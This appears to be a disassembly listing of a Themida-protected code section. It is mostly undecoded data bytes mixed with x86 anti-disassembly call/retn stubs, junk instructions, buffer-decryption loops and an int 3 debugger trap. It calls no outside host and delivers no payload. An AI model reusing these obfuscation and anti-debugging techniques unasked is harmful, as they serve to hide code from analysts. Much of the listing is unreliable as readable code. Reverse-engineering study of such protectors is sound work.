		dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 8B486C7Dh, 0E407C9BDh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 3F315ADAh
		dd 2DBD0B45h, 0D07E402h, 88h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E5C35040h,	86E82363h, 7C2D4B36h
		dd 0DE8B6611h, 1B71958Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 8DFA4DC3h, 2DA18D8Bh
		dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0A347BAC3h, 0F128D62h, 188Ch, 10E800h, 0FA740000h
		dd 3E52FDCEh, 0BC1859CCh, 8488EEBAh, 0DE8B3E3Fh, 0DA8B665Bh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	800F5818h
		dd 30h,	13E8h, 2C285300h, 0FB3DFA5Dh, 8D140AE6h, 25F004h
		dd 0B9053FF1h, 12E9h, 16FAEC00h, 7A28C1A4h, 39D00D6Bh
		dd 81CBFB10h, 5B2FD59Dh, 0DE59D8Bh, 0DA8B07E4h,	611BD83h
		dd 0F0007E4h, 6084h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0B897668Ch, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CF51F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF51F	proc near		; CODE XREF: Themida_:005CF517p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5CF51F	endp

; ---------------------------------------------------------------------------
		db 0DDh
; ---------------------------------------------------------------------------
		mov	cl, [eax+68h]
		mov	edi, 69AC6773h
		lea	ecx, [ebp+7E44FE7h]
		pusha
		xor	[ebp+7E423C5h],	esi
		mov	ax, si
		popa
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	[ebp+7E40245h],	edx
		cmp	dword ptr [ebp+7E422B9h], 0
		jz	loc_5CFA3A
		jbe	loc_5CF577
		jmp	loc_5CF577
; ---------------------------------------------------------------------------
		db 85h,	0C4h, 0FDh
		dd 0FC05A880h, 3AD4DEF8h
		db 18h,	0E7h, 0D3h
; ---------------------------------------------------------------------------


loc_5CF577:				; CODE XREF: Themida_:005CF55Ej
					; Themida_:005CF564j
		cmp	dword ptr [ebp+7E422B9h], 1
		jz	loc_5CFA55
		push	0
		push	ebx
		call	sub_5CF58F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF58F	proc near		; CODE XREF: Themida_:005CF587p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5CF58F	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebx-1BD2A643h]
		pop	es
		push	esi
		mov	edi, 6A431FA7h
		pop	ebx
		cmp	dword ptr [ebp+7E422B9h], 3
		jbe	loc_5CFA1F
		push	0
		push	ebp
		call	sub_5CF5C5
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF5C5	proc near		; CODE XREF: Themida_:005CF5BDp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5CF5C5	endp

; ---------------------------------------------------------------------------
		dec	ebp
		inc	esi
		cli
		enter	660Bh, 94h
		jge	loc_5CF5E8
		or	[ebp+7E41F21h],	edi


loc_5CF5E8:				; CODE XREF: Themida_:005CF5DCj
		pusha
		or	ebx, [ebp+7E4063Dh]
		jmp	loc_5CF5FC
; ---------------------------------------------------------------------------
		test	ch, al
		rol	dword ptr [ebx-74D33185h], 1


loc_5CF5FC:				; CODE XREF: Themida_:005CF5EFj
		mov	cx, ds
		mov	[ebp+7E41FE9h],	edx
		and	cl, 4
		push	0
		push	esi
		call	sub_5CF613
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF613	proc near		; CODE XREF: Themida_:005CF60Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5CF613	endp

; ---------------------------------------------------------------------------
		xchg	eax, [esi]
		mov	ch, 0AEh
		cli
		pusha
		xchg	eax, ebx
		sub	bx, 0F1A5h
		mov	[ebp+7E429CDh],	esi
		or	cl, cl
		jz	loc_5CF78D
		push	0
		push	ebx
		call	sub_5CF648
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF648	proc near		; CODE XREF: Themida_:005CF640p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5CF648	endp

; ---------------------------------------------------------------------------
		dd 664BE240h, 0BF0FDA8Bh, 51858BFBh, 6A07E406h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 330CC355h, 0E4202985h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 89E60869h
		dd 0E429D585h, 0BF665007h, 489CF5Bh, 51006A24h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0A885B517h
		dd 0F85C6390h, 998529BEh, 2B07E42Bh, 0E43141BDh, 0E8006A07h
		dd 5, 0BD8C3BD1h, 6557BFFFh, 0E85F626Bh, 4, 1F03FFh, 638AECBFh
		dd 8B665076h, 24448BF9h, 0D88B6604h, 0BF66008Bh, 4489E628h
		dd 0F88B0424h, 56006A58h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 3B728F0Fh, 15AA6C17h
		dd 95FF2A5Ch, 7E42D99h,	68F0Fh,	0F3810000h, 5DA74552h
		dd 0F8A58589h, 6A07E7h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0B58994C3h, 7E41AB5h, 0F59B589h
		dd 3FE907E4h, 8B000002h, 0E43031BDh
; ---------------------------------------------------------------------------
		pop	es


loc_5CF78D:				; CODE XREF: Themida_:005CF637j
		mov	eax, [ebp+7E7F89Dh]
		push	0
		push	ecx
		call	sub_5CF79E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF79E	proc near		; CODE XREF: Themida_:005CF796p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5CF79E	endp

; ---------------------------------------------------------------------------
		dw 0E542h
; ---------------------------------------------------------------------------
		aam	0DBh
		mov	ds:4BF8C7Dh, al
		ja	loc_5CF7C9
		jb	loc_5CF7C9
		mov	edi, [ebp+7E4200Dh]


loc_5CF7C9:				; CODE XREF: Themida_:005CF7B7j
					; Themida_:005CF7BDj
		mov	dword ptr [eax], 18h
		mov	[ebp+7E42431h],	esi
		mov	esi, [ebp+7E7F8A1h]
		push	0
		push	esi
		call	sub_5CF7E6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF7E6	proc near		; CODE XREF: Themida_:005CF7DEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5CF7E6	endp

; ---------------------------------------------------------------------------
		dw 0AADBh
		dd 0F52C000Ah, 8A8FCC74h, 99858BD9h, 6A07E400h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0F8BCC353h, 23319589h, 68907E4h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 1BC35747h, 0D0C1FC3Ch, 651858Bh
		dd 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 888AC3h, 0CDDCBC3Ah, 0D98B66F5h, 6A044689h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 4D4FC352h, 6E8h, 0FAB90B00h, 0F5AD351h, 0B82h
		dd 6E900h, 3B070000h, 0CBAEAAAh, 859D335Fh, 9607E430h
		dd 9E82BF66h, 66525050h, 0F73DBBFh, 5AF6B331h, 6A9658h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0E4A40BC3h, 147A6346h, 18D0Fh, 0FFF80000h, 0E7F89DB5h
		dd 0DD9D8B07h, 6807E414h, 706BB556h, 11E8h, 0A50BDD00h
		dd 0D2FD4EFBh, 290B61ECh, 4C4EA8C3h, 8B66B63Fh,	34815FF9h
		dd 74B6A924h, 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 70C56A64h, 8B7A964Ah, 0E40509BDh
		dd 0A5858D07h, 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 8DA1C356h, 0EF406B4Fh
		dd 53507446h, 10E8h, 34A2F000h,	0C58649A8h, 6F7C8344h
		dd 6951D095h, 5B5F5331h, 2404895Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0E1C35141h,	12AD8D89h, 95FF07E4h
		dd 7E42D99h, 325D8D89h,	16107E4h, 0E406F185h, 0B985C707h
		dd 307E422h, 66000000h,	0FC472BBh, 0BD83D9BFh, 7E7F8A5h
		dd 34840F00h, 31000000h, 0E405458Dh, 44E907h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0EB1DFEC3h, 0B144830Ch, 35BD29D2h
; ---------------------------------------------------------------------------
		sbb	ah, ah
		pop	es


loc_5CFA1F:				; CODE XREF: Themida_:005CF5B4j
					; Themida_:005CFA36j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CFA1F
		jmp	short loc_5CFA70
; ---------------------------------------------------------------------------


loc_5CFA3A:				; CODE XREF: Themida_:005CF558j
					; Themida_:005CFA51j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CFA3A
		jmp	short loc_5CFA70
; ---------------------------------------------------------------------------


loc_5CFA55:				; CODE XREF: Themida_:005CF57Ej
					; Themida_:005CFA6Cj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CFA55
		jmp	short $+2


loc_5CFA70:				; CODE XREF: Themida_:005CFA38j
					; Themida_:005CFA53j
		mov	eax, eax
		mov	[ebp+7E41CB9h],	ebx
		push	0
		push	ebx
		call	sub_5CFA83
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFA83	proc near		; CODE XREF: Themida_:005CFA7Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5CFA83	endp

; ---------------------------------------------------------------------------
		mov	ah, 0B3h
		wait
		cmp	dword ptr [ebp+7E422B9h], 3
		jnz	loc_5CFE57
		push	0
		push	eax
		call	sub_5CFAAE
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFAAE	proc near		; CODE XREF: Themida_:005CFAA6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5CFAAE	endp

; ---------------------------------------------------------------------------
		dw 0F0FAh
		dd 9E96369Bh, 0BE96033h, 0B6000000h, 326E97Ah, 0B93A57B1h
		dd 8B6623ABh, 0BD8361C6h, 7E7F8A5h, 70840F00h, 60000003h
		dd 22EBD1BFh, 0C18B663Ah, 0A5B5FF61h, 0E907E7F8h, 0Bh
		dd 0CC923AB6h, 3F3071EDh, 0FF6A830Ah, 0E4044D95h, 51BBF07h
		dd 0B58B0383h, 7E7F899h, 0BBBCEF81h, 6C74912h, 10001h
		dd 1E65BD8Bh, 0E85007E4h, 5, 7D4E7B03h,	8ABF6680h, 34895B62h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 7C814869h, 689EBD65h, 8D8960A8h,	7E40A79h
		dd 1409858Bh, 0FF6107E4h, 0E7F8A5B5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0BF770F51h, 1D844A5Ah, 2099BD8Bh, 95FF07E4h,	7E42A09h
		dd 2701BD8Bh, 0B58B07E4h, 7E7F899h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0B3C35545h,	48BAEEFCh, 8BB3D138h
		dd 65858BDAh, 0F07E431h, 8689FAB7h, 0C4h, 80D3EB80h, 958B8AF7h
		dd 7E41B71h, 5E9h, 41A50900h, 0C2838C0Eh, 0ED51BF04h, 508930ADh
		dd 53006A20h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0C7CE248Eh, 0A3F34D25h, 2F05B529h, 858D07E4h
		dd 7E80CD4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0D7C35343h, 29F58D09h, 868907E4h, 0B8h,	10840Fh
		dd 0BE90000h, 44000000h, 55199A0Ah, 6EDB60B2h, 6A2829h
		dd 0A5B5FFFCh, 5307E7F8h, 5FD98B66h, 31AD95FFh,	0BD8B07E4h
		dd 7E409F1h, 70BB6650h,	24348944h, 12E8h, 88D47400h, 5D5B743Ah
		dd 4FD093DFh, 4154294h,	0E879CD38h, 11h, 5723E0C1h, 0C8944DACh
		dd 0B3C8F215h, 0F5D2FC57h, 9E93Ah, 0D6BC0000h, 6BFB707Ch
		dd 5FE1362Ch, 0CE95Fh, 0B8930000h, 0A1F0C024h, 87602E08h
		dd 0B5FF3A0Eh, 7E7F8A5h, 0DE9h,	5C339500h, 0FF42A668h
		dd 0B64D66D2h, 95FF37D7h, 7E41B11h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0EAC35141h,	0F1680D93h, 5F0ED217h
		dd 2820F4Ch, 8B000000h,	0D18D31D8h, 8307E431h, 0E40DF9BDh
		dd 840F0007h, 3Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 26C35646h, 5949258Bh,	0E8213973h, 0Bh
		dd 1ED6DEEAh, 7222373Dh, 0FC4D3630h, 0DA8B505Bh, 0FF243489h
		dd 0E7F8A5B5h, 0F5BD0307h, 0FF07E421h, 0E4027D95h, 65B52907h
		dd 907E400h, 0E40AD18Dh, 0A5B5FF07h, 6A07E7F8h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 4581C356h, 3572B953h, 0A465D20h, 8AFB8B66h, 7195FFD8h
		dd 8307E409h, 0E40A21BDh, 840F0207h, 4Ah, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 0FBC35040h, 930BC392h
		dd 919D295Ch, 5707E430h, 9565BB66h, 0B5858B5Fh,	0F07E41Eh
		dd 0C6DFB7h, 8870F00h, 56000000h, 15D9BD8Bh, 805B07E4h
		dd 85C7B5F3h, 7E42671h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5CFE3B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE3B	proc near		; CODE XREF: Themida_:005CFE33p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5CFE3B	endp

; ---------------------------------------------------------------------------
		db 73h
; ---------------------------------------------------------------------------
		movsd
		xchg	eax, ebx
		db	36h
		mov	esi, 519D8B9Fh
		add	esp, esp
		pop	es


loc_5CFE57:				; CODE XREF: Themida_:005CFA9Dj
		jmp	near ptr dword_5CF0DC+3Ah
; ---------------------------------------------------------------------------
		cmc
		mov	eax, ecx
		xor	bl, 78h
		lea	eax, [ebp+7E40D85h]
		push	0
		push	eax
		call	sub_5CFE73
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE73	proc near		; CODE XREF: Themida_:005CFE6Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5CFE73	endp

; ---------------------------------------------------------------------------
		push	8950BC58h
		add	al, 24h
		push	0
		push	eax
		call	sub_5CFE95
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE95	proc near		; CODE XREF: Themida_:005CFE8Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5CFE95	endp

; ---------------------------------------------------------------------------
		db 0A2h, 0A0h, 52h
		dd 6E473FA3h, 0DE8C5DDh, 6E000000h, 3D968738h, 0FDCBA7FFh
		dd 8020220Dh, 6A5FF5h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 2CC35040h, 254EB3F1h,	0A8C0BB66h, 8E9h
		dd 1E254E00h, 14573BB2h, 6A006A98h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0C0BEC355h
		dd 6A81AE0Ah, 858D7970h, 7E8DC2Ah, 22B58D89h, 0C08307E4h
		dd 11E99005h, 0C9000000h, 5048C203h, 71CB0BFBh,	8A95C9A6h
		dd 1A2960B0h, 95899050h, 7E418A9h, 13E9h, 0E678A600h, 0EEABDE39h
		dd 19ED44EFh, 572F3DC6h, 260F9A18h, 0AE8006Ah, 0FC000000h
		dd 0C73F2308h, 599EBC5Ch, 2D9D89EAh, 5F07E41Bh,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0F4BF07C3h, 0FF55738Ah, 0E4247195h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 4B8D8DD2h, 0F07E7D6h, 0BD8BF8B7h, 7E42E11h, 6AD1FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 618283C3h, 2015BD83h, 0F0107E4h, 0BC85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0EE95C28h, 0AF000000h, 1DAB0340h, 59FB0EF6h,	0FD812B6Dh
		dd 6A026ABBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 3A42C357h, 0FF898C6h, 2CBFFABFh
		dd 50713310h, 58C0F60h,	0B8000000h, 344CE007h, 24048961h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E2C35545h
		dd 0DD76680Ch, 0AD95019Dh, 0FF07E419h, 0E431AD95h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0E3508015h, 8BDA82D2h, 0DDFE9D9h, 0E80000h, 5D000000h
		dd 0DC34ED81h, 0EE907E8h, 65000000h, 0C1251358h, 63A0195Fh
		dd 0DADFCE2Ch, 0D99D8BF3h, 8D07E423h, 0E7C6E185h, 6650F907h
		dd 89C6D2BBh, 0E6BB2404h, 647ED838h, 35FFh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8BACC3h, 7E42409h, 258964h, 0F000000h, 68Ah, 15BD8B00h
		dd 0FF07E421h, 0E420B985h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD8919B1h
		dd 7E42D11h, 0FE8h, 19D9500h, 0A85FCA2Dh, 17B4CCAh, 0A9A09F63h
		dd 6860Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
		pop	edi
		push	0FFFFFFFFh
		push	0
		push	edi
		call	sub_5D0186
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0186	proc near		; CODE XREF: Themida_:005D017Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5D0186	endp

; ---------------------------------------------------------------------------
		dw 0AA31h
; ---------------------------------------------------------------------------
		clc
		int	3		; Trap to Debugger
		mov	bx, si
		js	loc_5D01A7
		mov	di, 1FBBh


loc_5D01A7:				; CODE XREF: Themida_:005D019Dj
		push	dword ptr [ebp+7E41E15h]
		mov	[ebp+7E42185h],	ecx
		mov	[ebp+7E42021h],	esi
		call	dword ptr [ebp+7E4304Dh]
		jmp	loc_5D02A2
; ---------------------------------------------------------------------------
		dd 7DB300B0h, 9D8B70E6h, 7E423C9h, 10E971E4h, 33000000h
		dd 2187991Ah, 3DDBA52Bh, 0DDAF2CD2h, 3C9A4A1Ch,	0B3830F61h
		dd 66000000h, 0F89B5BBh, 0B589C8B6h, 7E40139h, 6BAh, 0CBBF6600h
		dd 0E9C18B93h, 10h, 3E19F5ABh, 0E5D2CC49h, 4910B764h, 0EE55C9Eh
		dd 8904E8C1h, 0E4230995h, 0E2F76607h, 1AD5B501h, 0C82B07E4h
		dd 2B68B0BFh, 66D18B00h, 75A2E381h, 0FF37BB66h,	9E9h, 3870F00h
		dd 66000000h, 858BF98Bh, 7E403F1h, 5AD9D8Bh, 0C08307E4h
		dd 85BD8B07h, 8307E427h, 0D03B00C0h, 9830Fh, 5B500000h
		dd 2DE9h, 8B29B300h, 0E405558Dh, 1E18307h, 1C840Fh, 9D890000h
		dd 7E40B89h, 555A583h, 66FE07E4h, 899EAABFh, 0E403F195h
		dd 0E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D02A2:				; CODE XREF: Themida_:005D01BFj
		lea	esi, [ebp+7E856A0h]
		push	0
		push	edi
		call	sub_5D02B3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D02B3	proc near		; CODE XREF: Themida_:005D02ABp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5D02B3	endp

; ---------------------------------------------------------------------------
		retn	6Ah
; ---------------------------------------------------------------------------
		jg	loc_5D02D2
		mov	ebx, [ebp+7E418C5h]


loc_5D02D2:				; CODE XREF: Themida_:005D02C6j
		call	dword ptr [ebp+7E40E41h]
		push	0
		push	edx
		call	sub_5D02E3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D02E3	proc near		; CODE XREF: Themida_:005D02DBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5D02E3	endp

; ---------------------------------------------------------------------------
		db 5Bh
		dd 510FDB1Fh, 0BDB9EF2Eh, 6A000007h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8D3EC355h
		dd 85B01516h, 96682C65h, 0FFCE183h, 0F9FCFEBFh,	0B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8B9B0CE3h, 0E41CD99Dh, 0BA07h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0DF2CE2C3h
		dd 0E38166A8h, 0BB66C607h, 0BF66D0B4h, 33ADAE5Eh, 3E8D1C2h
		dd 4E983D0h, 850FF475h,	5, 0BE85C5BBh, 7E95Fh, 2ECA0000h
		dd 15BC6912h, 51006ADEh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0E753CBDDh, 16C7A964h, 0B185892Fh
		dd 0D07E418h, 88h, 0E380DA8Ah, 71958B8Ah, 8B07E41Bh, 0E41EC1BDh
		dd 0A18D8B07h, 6A07E42Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 94CEC352h, 8B6658F3h
		dd 0C28B50F8h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh
		dd 0E41495BDh, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0CBCEE0F6h, 611BD83h
		dd 0F0007E4h, 6884h, 6FD78100h,	0B874CEF1h, 0
; ---------------------------------------------------------------------------
		or	[ebp+7E40E29h],	esi
		lea	ecx, [ebp+7E44FE7h]
		push	0
		push	ebp
		call	sub_5D0477
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0477	proc near		; CODE XREF: Themida_:005D046Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D0477	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		dec	esi
		xor	ah, [esi-45h]
		aam	32h
		jg	loc_5D049A
		mov	edi, [ebp+7E42D11h]


loc_5D049A:				; CODE XREF: Themida_:005D048Ej
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5D04A7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D04A7	proc near		; CODE XREF: Themida_:005D049Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5D04A7	endp

; ---------------------------------------------------------------------------
		db 37h
		dd 0CF444D8h, 0B9BD83DAh, 7E422h, 498840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 63BF41C3h, 0F88B6A3Dh, 22B9BD83h, 0F0107E4h,	48484h
		dd 8D853100h, 8307E430h, 0E422B9BDh, 860F0307h,	43Bh, 0BD8B60FCh
		dd 7E42C41h, 0FD98C66h,	381h, 0D98B6600h, 6A04E180h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 5BAAC350h, 0F3754FBh, 0C90ADEB7h, 194840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0B70FA4C3h, 51858BDEh, 6A07E406h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 701EC350h
		dd 20298533h, 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 4ED552C3h, 9771CAB7h, 8A0FD563h
		dd 1Bh,	12E8h, 2F19E400h, 14083773h, 0A06B20Bh,	8F75F034h
		dd 0F13FBF8h, 2B5FDFBFh, 0E418FD9Dh, 0E18D8907h, 9007E413h
		dd 7E9h, 87022F00h, 90B1D280h, 8BF6650h, 6A90AAh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0B7F086C3h, 0A74CD64Ch, 0FE91A0Eh, 5C000000h, 89EDD51h
		dd 0E1534D85h, 2F10D72h, 6AA5A9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 35C35040h, 1A6F3BEAh, 0A3E4AF1Dh
		dd 207D8589h, 4E807E4h,	0FF000000h, 0B3001F03h,	448B50FAh
		dd 0D98B0424h, 8B66008Bh, 244489DEh, 0C4BB6604h, 0FE8584Eh
		dd 9B000000h, 694CC070h, 3E4EEA66h, 675BF610h, 9D8B73CFh
		dd 7E432A9h, 9995FF5Fh,	6A07E42Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 1212C353h
		dd 1B9D9D8Bh, 858907E4h, 7E7F8A5h, 8D89D98Bh, 7E409E1h
		dd 1C3E9h, 0E6BA6000h, 89531336h, 0E431E18Dh, 858B6107h
		dd 7E7F89Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0FDC35343h, 1800C7A5h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E922C352h
		dd 11h,	817EF96Ch, 0BD605DAh, 0C74B524h, 0E7C6F35Ah, 0A1B58B61h
		dd 6A07E7F8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0E1E6C356h, 2907870Fh,	0E401F585h
		dd 858BF807h, 7E40099h,	5059501h, 68907E4h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5DC35343h, 8659824Bh
		dd 1953155h, 107E427h, 0E42AA58Dh, 51858B07h, 6A07E406h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
